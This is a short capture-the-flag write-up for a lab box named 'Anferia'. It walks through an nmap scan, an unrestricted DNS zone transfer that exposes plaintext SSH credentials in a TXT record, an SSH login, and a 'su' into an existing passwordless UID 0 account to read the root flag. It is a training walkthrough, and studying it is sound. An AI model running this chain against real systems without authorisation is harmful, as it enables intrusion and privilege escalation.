Home›CTF & Writeups›Anferia

Anferia

✓ SOLVED

Unrestricted DNS AXFR → plaintext SSH credentials → insecure account configuration → existing UID 0 account → root.

0

Overview

Unrestricted DNS AXFR → plaintext SSH credentials → insecure account configuration → existing UID 0 account → root.

User Flag✓
Root Flag✓
StatusSolved
1

Reconnaissance

Scan
nmap -sV -p 32651,31963 45.79.210.48
2

Unrestricted AXFR

The zone transfer exposed internal host records and a TXT record containing working SSH credentials.

AXFR
dig +tcp @45.79.210.48 -p 32651 lab.local AXFR
admin.lab.local TXT "ssh-creds=labuser:AxfrSecret2024"
3

SSH Foothold

SSH
ssh labuser@45.79.210.48 -p 31963
cat /home/labuser/user.txt
USER FLAGflag{[REDACTED]}
4

Local Enumeration

/etc/passwd was world-writable and already contained pwned::0:0:root:/root:/bin/bash.

5

Root Access

The existing passwordless UID 0 account was used directly; no account was created and /etc/passwd was not modified.

Root
su pwned
cat /root/root.txt
ROOT FLAGflag{[REDACTED]}
✓

Attack Path

Both challenge flag values are intentionally redacted in the public writeup and screenshots.

DNS→AXFR→SSH creds→labuser→UID 0 account→Root